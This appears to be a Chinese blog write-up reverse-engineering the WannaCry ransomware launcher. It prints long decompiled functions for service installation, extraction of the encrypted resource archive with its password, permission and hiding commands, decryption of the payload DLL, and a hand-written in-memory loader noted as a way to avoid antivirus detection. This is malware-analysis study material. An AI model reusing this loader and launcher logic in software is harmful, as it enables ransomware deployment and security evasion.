废话
两年过去了,两年前还啥也不会,如今来看看这玩意儿了。
逆向分析
主函数如下,当然,这里所有函数都已经过分析而标注。
int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
char *Str; // ST1C_4@1
char **v5; // eax@2
void *dll; // eax@10
_IMAGE_NT_HEADERS *NtHeader; // eax@11
void (__stdcall *TaskStart)(_DWORD, _DWORD); // eax@12
DWORD struct[310]; // [sp+10h] [bp-6E4h]@9
CHAR CurrentFileName[520]; // [sp+4E8h] [bp-20Ch]@1
int size; // [sp+6F0h] [bp-4h]@10
CurrentFileName[0] = NULL_;
memset(&CurrentFileName[1], 0, 0x204u);
*(_WORD *)&CurrentFileName[517] = 0;
CurrentFileName[519] = 0;
GetModuleFileNameA(0, CurrentFileName, 0x208u);
GetRandomName(DirName);
if ( *(_DWORD *)_p___argc(Str) != 2
|| (v5 = (char **)_p___argv(), strcmp(*((const char **)*v5 + 1), aI))// "/i"
|| !CreateSomeDir(0)
|| (CopyFileA(CurrentFileName, FileName, 0), GetFileAttributesA(FileName) == -1)// tasksche.exe
|| !StartVirus() )
{
if ( strrchr(CurrentFileName, '\\') )
*strrchr(CurrentFileName, '\\') = 0;
SetCurrentDirectoryA(CurrentFileName);
SetRegKeyOrGetVirusPath(1);
FreeResource(0, key); // WNcry@2ol7
WriteData2cwnry();
StartProcess(fullPath, 0, 0); // attrib +h .
StartProcess(aIcacls_GrantEv, 0, 0); // icacls . /grant Everyone:F /T /C /Q
if ( InitAPIs() )
{
InitInstance(struct);
if ( init_publicKey(struct, 0, 0, 0) )
{
size = 0;
dll = (void *)DecryptDll(struct, aT_wnry, (int)&size);// t.wnry
if ( dll )
{
NtHeader = (_IMAGE_NT_HEADERS *)NewLoadLibrary(dll, size);
if ( NtHeader )
{
TaskStart = (void (__stdcall *)(_DWORD, _DWORD))NewGetProcAddr((struc_2 *)NtHeader, Str1);// TaskStart
if ( TaskStart )
TaskStart(0, 0);
}
}
}
ClearMem((char *)struct);
}
}
return 0;
}
首先判断命令行参数,若参数为/i,则创建文件夹,复制病毒文件,创建后台服务,启动病毒。
BOOL StartVirus()
{
CHAR fullPath; // [sp+4h] [bp-208h]@1
char v2; // [sp+5h] [bp-207h]@1
__int16 v3; // [sp+209h] [bp-3h]@1
char v4; // [sp+20Bh] [bp-1h]@1
fullPath = NULL_;
memset(&v2, 0, 0x204u);
v3 = 0;
v4 = 0;
GetFullPathNameA(FileName, 0x208u, &fullPath, 0);
return OpenMalService((int)&fullPath) && OpenMutexAndSleep(60)
|| StartProcess(&fullPath, 0, 0) && OpenMutexAndSleep(60);
}
若无命令行参数,则正常执行,首先会遇到一个操作注册表的函数
signed int __cdecl SetRegKeyOrGetVirusPath(int mode)
{
qmemcpy(&Dest, aSoftware, 0x14u); // Software\
CurrentDirectorName = 0;
phkResult = 0;
memset(&v10, 0, 0xB4u);
memset(&v6, 0, 0x204u);
v7 = 0;
v8 = 0;
wcscat(&Dest, Source); // WanaCrypt0r
v12 = 0;
while ( 1 )
{
if ( v12 )
RegCreateKeyW(HKEY_CURRENT_USER, &Dest, &phkResult);// dest=Software\WanaCrypt0r
else
RegCreateKeyW(HKEY_LOCAL_MACHINE, &Dest, &phkResult);
if ( phkResult )
{
if ( mode )
{
GetCurrentDirectoryA(0x207u, &CurrentDirectorName);
v1 = strlen(&CurrentDirectorName);
v2 = RegSetValueExA(phkResult, ValueName, 0, 1u, (const BYTE *)&CurrentDirectorName, v1 + 1) == 0;// ValueName = wd
}
else
{
cbData = 0x207;
v3 = RegQueryValueExA(phkResult, ValueName, 0, 0, (LPBYTE)&CurrentDirectorName, &cbData);
v2 = v3 == 0;
if ( !v3 )
SetCurrentDirectoryA(&CurrentDirectorName);
}
RegCloseKey(phkResult);
if ( v2 )
break;
}
if ( ++v12 >= 2 )
return 0;
}
}
这个函数根据参数的不同完成不同的操作,当mode为1时设置创建一个键值,该键值记录了当前文件夹路径,当mode为0时读取这个文件夹路径。
接下来这个函数比较关键,它对资源进行解密并释放到当前文件夹。
int __cdecl FreeResource(HMODULE hModule, char *key)
{
HRSRC v2; // eax@1
HRSRC v3; // esi@1
HGLOBAL hGlobal; // eax@2
void *lpAddress; // edi@3
int dwSize; // eax@4
int *v7; // esi@4
int result; // eax@5
int v9; // ebx@6
int i; // edi@6
int v11; // [sp+8h] [bp-12Ch]@6
char Str1; // [sp+Ch] [bp-128h]@6
v2 = FindResourceA(hModule, (LPCSTR)0x80A, Type);// XIA
v3 = v2;
if ( v2
&& (hGlobal = LoadResource(hModule, v2)) != 0
&& (lpAddress = LockResource(hGlobal)) != 0
&& (dwSize = SizeofResource(hModule, v3), (v7 = Decom__(lpAddress, dwSize, key)) != 0) )
{
v11 = 0;
memset(&Str1, 0, 0x128u);
DecryptResource(v7, -1, (int)&v11);
v9 = v11;
for ( i = 0; i < v9; ++i )
{
sub_4075C4(v7, i, (int)&v11);
if ( strcmp(&Str1, Str2) || GetFileAttributesA(&Str1) == -1 )// c.wnry
FreeFiles((int)v7, (HANDLE)i, &Str1);
}
sub_407656(v7);
result = 1;
}
else
{
result = 0;
}
return result;
}
其中一些函数内部细节比较复杂,但其功能比较好判断,最好以调试的方式来观察其某些行为。其中那个解密其实是解压加了密的压缩包。
之后向WriteData2cwnacry函数向c.wnry文件中写入了一些跟比特币有关的数据,我也不知道这是啥。。。
接着利用CreateProcess执行了两条cmd
StartProcess(fullPath, 0, 0); // attrib +h .
StartProcess(aIcacls_GrantEv, 0, 0); // icacls . /grant Everyone:F /T /C /Q
attrib +h .赋予当前文件夹隐藏属性;另一条命令解释如下:
使用GetProcAddress动态加载API
int InitAPIs()
{
HMODULE v0; // eax@3
HMODULE v1; // edi@3
FARPROC CloseHandle; // eax@4
int result; // eax@11
result = 0;
if ( InitEncryptFunctions() )
{
if ( *(_DWORD *)CreateFileW_
|| (v0 = LoadLibraryA(kernel32), (v1 = v0) != 0)
&& (*(_DWORD *)CreateFileW_ = GetProcAddress(v0, ProcName),
*(_DWORD *)WriteFile_ = GetProcAddress(v1, aWritefile),
ReadFile_ = (int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))GetProcAddress(v1, aReadfile),
*(_DWORD *)MoveFileW = GetProcAddress(v1, aMovefilew),
*(_DWORD *)MoveFileExW = GetProcAddress(v1, aMovefileexw),
*(_DWORD *)DeleteFileW = GetProcAddress(v1, aDeletefilew),
CloseHandle = GetProcAddress(v1, aClosehandle),
*(_DWORD *)CloseHandle_ = CloseHandle,
*(_DWORD *)CreateFileW_)
&& *(_DWORD *)WriteFile_
&& ReadFile_
&& *(_DWORD *)MoveFileW
&& *(_DWORD *)MoveFileExW
&& *(_DWORD *)DeleteFileW
&& CloseHandle )
{
result = 1;
}
}
return result;
}
之后获取了一个rsa的密钥,应该是为之后的某次解密做准备。
之后这个函数就很复杂了,里面先进行了一些文件特征的判断,然后有复杂的解密操作
int __thiscall DecryptDll(void *this, LPCSTR lpFileName, int a3)
{
void *this_; // esi@1
int v4; // ebx@1
HANDLE hFile; // edi@1
size_t file_data1; // [sp+14h] [bp-244h]@1
int v8; // [sp+18h] [bp-240h]@1
char file_data0; // [sp+1Ch] [bp-23Ch]@1
int v10; // [sp+1Dh] [bp-23Bh]@1
__int16 v11; // [sp+21h] [bp-237h]@1
char v12; // [sp+23h] [bp-235h]@1
__int64 dwBytes; // [sp+24h] [bp-234h]@9
char dec_data; // [sp+2Ch] [bp-22Ch]@11
int v15; // [sp+22Ch] [bp-2Ch]@1
int v16; // [sp+230h] [bp-28h]@12
LARGE_INTEGER FileSize; // [sp+234h] [bp-24h]@2
int lpNumberOfBytesRead; // [sp+23Ch] [bp-1Ch]@1
CPPEH_RECORD ms_exc; // [sp+240h] [bp-18h]@1
this_ = this;
v4 = 0;
v15 = 0;
file_data1 = 0;
file_data0 = 0;
v10 = 0;
v11 = 0;
v12 = 0;
v8 = 0;
lpNumberOfBytesRead = 0;
ms_exc.registration.TryLevel = 0;
hFile = CreateFileA(lpFileName, 0x80000000, 1u, 0, 3u, 0, 0);// GENERIC_READ, FILE_SHARE_READ, OPEN_EXISTING
if ( hFile != (HANDLE)-1 )
{
GetFileSizeEx(hFile, &FileSize);
if ( FileSize.QuadPart <= 104857600 )
{
if ( ReadFile_(hFile, &file_data0, 8, &lpNumberOfBytesRead, 0) )
{
if ( !memcmp(&file_data0, aWanacry, 8u) )
{
if ( ReadFile_(hFile, &file_data1, 4, &lpNumberOfBytesRead, 0) )
{
if ( file_data1 == 256 )
{
if ( ReadFile_(hFile, *((_DWORD *)this_ + 0x132), 256, &lpNumberOfBytesRead, 0) )
{
if ( ReadFile_(hFile, &v8, 4, &lpNumberOfBytesRead, 0) )
{
if ( ReadFile_(hFile, &dwBytes, 8, &lpNumberOfBytesRead, 0) )
{
if ( dwBytes <= 0x6400000 )
{
if ( DecryptData((int)this_ + 4, *((void **)this_ + 0x132), file_data1, &dec_data, (int)&v15) )
{
sub_402A76((char *)this_ + 84, (int)&dec_data, Src, v15, 0x10u);
v16 = (int)GlobalAlloc(0, dwBytes);
if ( v16 )
{
if ( ReadFile_(hFile, *((_DWORD *)this_ + 0x132), FileSize.LowPart, &lpNumberOfBytesRead, 0)
&& lpNumberOfBytesRead
&& (SHIDWORD(dwBytes) < 0
|| SHIDWORD(dwBytes) <= 0 && lpNumberOfBytesRead >= (unsigned int)dwBytes) )
{
v4 = v16;
sub_403A77((int)this_ + 84, *((void **)this_ + 306), v16, lpNumberOfBytesRead, 1);
*(_DWORD *)a3 = dwBytes;
}
}
}
}
}
}
}
}
}
}
}
}
}
local_unwind2(&ms_exc.registration, -1);
return v4;
}
对于这个函数,主要通过动态调试的方式来分析,可以慢慢比对文件特征,到后面就会发现这里解密出了一个PE文件。可以用IDC脚本将这个PE文件dump下来之后分析,它其实是一个dll文件。
之后这个函数就好玩了,它是手动实现的一个LoadLibrary来将内存中的dll文件加载。
来看看内部细节,首先是PE文件进行基本的检验
初始化了一个结构体
然后复制代码段
signed int __cdecl copy_section(int pe, int size, _IMAGE_NT_HEADERS *_nt_header, struc_2 *info)
{
struc_2 *info_; // edi@1
DWORD *SizeOfRawData; // esi@2
signed __int32 SectionAlignment; // ebx@4
void *text_section; // ST08_4@6
void *v8; // ebx@9
signed int v10; // [sp+Ch] [bp-4h]@1
DWORD ImageBase; // [sp+24h] [bp+14h]@1
info_ = info;
v10 = 0;
ImageBase = info->ImageBase;
if ( !info_->NtHeader->FileHeader.NumberOfSections )
return 1;
SizeOfRawData = (DWORD *)((char *)&info_->NtHeader->OptionalHeader.AddressOfEntryPoint
+ info_->NtHeader->FileHeader.SizeOfOptionalHeader);
while ( !*SizeOfRawData )
{
SectionAlignment = _nt_header->OptionalHeader.SectionAlignment;
if ( SectionAlignment > 0 )
{
if ( !((int (__cdecl *)(DWORD, signed __int32, signed int, signed int, int))info_->VirtualAlloc)(
*(SizeOfRawData - 1) + ImageBase,
SectionAlignment,
4096,
4,
info_->null) )
return 0;
text_section = (void *)(*(SizeOfRawData - 1) + ImageBase);
*(SizeOfRawData - 2) = (DWORD)text_section;
memset(text_section, 0, SectionAlignment);
}
LABEL_10:
++v10;
SizeOfRawData += 10;
if ( v10 >= info_->NtHeader->FileHeader.NumberOfSections )
return 1;
}
if ( Is_size_enough(size, *SizeOfRawData + SizeOfRawData[1])
&& ((int (__cdecl *)(DWORD, DWORD, signed int, signed int, int))info_->VirtualAlloc)(
*(SizeOfRawData - 1) + ImageBase,
*SizeOfRawData,
0x1000, // MEM_COMMI
4,
info_->null) )
{
v8 = (void *)(*(SizeOfRawData - 1) + ImageBase);
memcpy(v8, (const void *)(pe + SizeOfRawData[1]), *SizeOfRawData);
*(SizeOfRawData - 2) = (DWORD)v8;
goto LABEL_10;
}
return 0;
}
基址重定位
signed int __cdecl Relocate(struc_2 *a1, int offset)
{
int ImageBase; // esi@1
signed int result; // eax@2
_IMAGE_BASE_RELOCATION *v4; // eax@3
DWORD i; // ecx@3
_IMAGE_BASE_RELOCATION *v6; // edx@4
int v7; // ebx@5
unsigned int v8; // [sp+Ch] [bp+8h]@4
ImageBase = a1->ImageBase;
if ( a1->NtHeader->OptionalHeader.DataDirectory[5].Size )
{
v4 = (_IMAGE_BASE_RELOCATION *)(ImageBase + a1->NtHeader->OptionalHeader.DataDirectory[5].VirtualAddress);
for ( i = v4->VirtualAddress; v4->VirtualAddress; i = v4->VirtualAddress )
{
v8 = 0;
v6 = v4 + 1;
if ( (v4->SizeOfBlock - 8) & 0xFFFFFFFE )
{
do
{
v7 = LOWORD(v6->VirtualAddress);
LOWORD(v7) = v7 & 0xF000;
if ( v7 == 0x3000 )
*(_DWORD *)(i + ImageBase + (v6->VirtualAddress & 0xFFF)) += offset;
++v8;
v6 = (_IMAGE_BASE_RELOCATION *)((char *)v6 + 2);
}
while ( v8 < (v4->SizeOfBlock - 8) >> 1 );
}
v4 = (_IMAGE_BASE_RELOCATION *)((char *)v4 + v4->SizeOfBlock);
}
result = 1;
}
else
{
result = offset == 0;
}
return result;
}
加载导入表
signed int __cdecl LoadIAT(struc_2 *a1)
{
struc_2 *info_; // esi@1
int ImageBase; // edi@1
char *v3; // eax@1
int v5; // ebx@3
int v6; // eax@6
int v7; // ST08_4@7
_DWORD *v8; // eax@8
int v9; // ecx@9
int v10; // eax@10
int *v11; // edi@10
_IMAGE_NT_HEADERS *nt_header; // eax@12
int v13; // eax@14
int v14; // [sp+8h] [bp-Ch]@1
signed int v15; // [sp+Ch] [bp-8h]@1
int v16; // [sp+10h] [bp-4h]@7
struc_2 *v17; // [sp+1Ch] [bp+8h]@10
info_ = a1;
ImageBase = a1->ImageBase;
v3 = (char *)&a1->NtHeader->OptionalHeader.DataDirectory[1];
v14 = a1->ImageBase;
v15 = 1;
if ( !a1->NtHeader->OptionalHeader.DataDirectory[1].Size )
return 1;
v5 = ImageBase + *(_DWORD *)v3;
if ( IsBadReadPtr((const void *)(ImageBase + *(_DWORD *)v3), 0x14u) )
return v15;
while ( 1 )
{
v6 = *(_DWORD *)(v5 + 12);
if ( !v6 )
return v15;
v7 = info_->null;
v16 = ((int (__cdecl *)(int))info_->LoadLibraryA)(ImageBase + v6);
if ( !v16 )
{
SetLastError(0x7Eu);
return 0;
}
v8 = realloc((void *)info_->field_8, 4 * info_->field_C + 4);
if ( !v8 )
{
((void (__cdecl *)(int, int))info_->FreeLibrary)(v16, info_->null);
SetLastError(0xEu);
return 0;
}
v9 = info_->field_C;
info_->field_8 = (int)v8;
v8[v9] = v16;
++info_->field_C;
if ( *(_DWORD *)v5 )
{
v10 = ImageBase + *(_DWORD *)v5;
v11 = (int *)(v14 + *(_DWORD *)(v5 + 16));
v17 = (struc_2 *)v10;
}
else
{
v11 = (int *)(*(_DWORD *)(v5 + 16) + ImageBase);
v17 = (struc_2 *)v11;
}
while ( 1 )
{
nt_header = v17->NtHeader;
if ( !v17->NtHeader )
break;
if ( (unsigned int)nt_header & 0x80000000 )
v13 = ((int (__cdecl *)(int, int, int))info_->GetProcAddress)(v16, (unsigned __int16)nt_header, info_->null);
else
v13 = ((int (__cdecl *)(int, int, int))info_->GetProcAddress)(
v16,
(int)&nt_header->Signature + v14 + 2,
info_->null);
*v11 = v13;
if ( !v13 )
{
v15 = 0;
break;
}
v17 = (struc_2 *)((char *)v17 + 4);
++v11;
}
if ( !v15 )
break;
v5 += 20;
if ( IsBadReadPtr((const void *)v5, 0x14u) )
return v15;
ImageBase = v14;
}
((void (__cdecl *)(int, int))info_->FreeLibrary)(v16, info_->null);
SetLastError(0x7Fu);
return v15;
}
执行TLS函数
signed int __cdecl run_tls(struc_2 *a1)
{
int v1; // edi@1
DWORD tls; // eax@1
signed int result; // eax@2
void (__stdcall **v4)(_DWORD, _DWORD, _DWORD); // esi@3
v1 = a1->ImageBase;
tls = a1->NtHeader->OptionalHeader.DataDirectory[9].VirtualAddress;
if ( tls )
{
v4 = *(void (__stdcall ***)(_DWORD, _DWORD, _DWORD))(tls + v1 + 12);
if ( v4 )
{
while ( *v4 )
{
(*v4)(v1, 1, 0);
++v4;
}
}
result = 1;
}
else
{
result = 1;
}
return result;
}
这样整个流程下来就算是模仿了LoadLibrary的功能了(如果直接释放dll文件到磁盘中然后调用LoadLibrary可能会被查杀吧)。
加载完dll模块后,该启动器导入了一个TaskStart函数,然后调用它。这里用于动态导入函数的GetProcAddress也是重写了的,因为之前加载dll的函数并非完全是LoadLibrary,所以不能直接用GetProcAddress API来获取函数。不过也不复杂,本质上就是遍历导出表,找到函数地址罢了。
int __cdecl NewGetProcAddr(struc_2 *pe_nt, char *FuncName)
{
int image_base; // ecx@1
char *DataDirecotry; // eax@1
int ExportOffset; // esi@2
unsigned int v5; // eax@2
_IMAGE_EXPORT_DIRECTORY *v6; // esi@2
DWORD v7; // edx@5
DWORD number; // eax@6
_DWORD *Name; // edi@7
_WORD *v10; // ebx@7
int v12; // [sp+Ch] [bp-4h]@1
struc_2 *i; // [sp+18h] [bp+8h]@7
image_base = pe_nt->ImageBase;
DataDirecotry = (char *)pe_nt->NtHeader->OptionalHeader.DataDirectory;
v12 = pe_nt->ImageBase;
if ( !pe_nt->NtHeader->OptionalHeader.DataDirectory[0].Size )
goto LABEL_12;
ExportOffset = *(_DWORD *)DataDirecotry;
v5 = *(_DWORD *)(*(_DWORD *)DataDirecotry + image_base + 0x18);
v6 = (_IMAGE_EXPORT_DIRECTORY *)(image_base + ExportOffset);
if ( !v5 || !v6->NumberOfFunctions )
goto LABEL_12;
if ( !HIWORD(FuncName) )
{
v7 = v6->Base;
if ( (unsigned __int16)FuncName >= v7 )
{
number = (unsigned __int16)FuncName - v7;
goto LABEL_15;
}
LABEL_12:
SetLastError(0x7Fu);
return 0;
}
Name = (_DWORD *)(image_base + v6->AddressOfNames);
v10 = (_WORD *)(image_base + v6->AddressOfNameOrdinals);
i = 0;
if ( v5 <= 0 )
goto LABEL_12;
while ( stricmp(FuncName, (const char *)(image_base + *Name)) )
{
i = (struc_2 *)((char *)i + 1);
++Name;
++v10;
if ( (unsigned int)i >= v6->NumberOfNames )
goto LABEL_12;
image_base = v12;
}
number = *v10;
image_base = v12;
LABEL_15:
if ( number > v6->NumberOfFunctions )
goto LABEL_12;
return image_base + *(_DWORD *)(v6->AddressOfFunctions + 4 * number + image_base);
}
到这里,启动器的所有行为就算是分析完了。总得来说,这个启动器也没干几件事,都是一些病毒的准备工作,而病毒的核心功能,应该就在那个DLL文件中,dump下来后,就可以分析病毒的核心功能啦。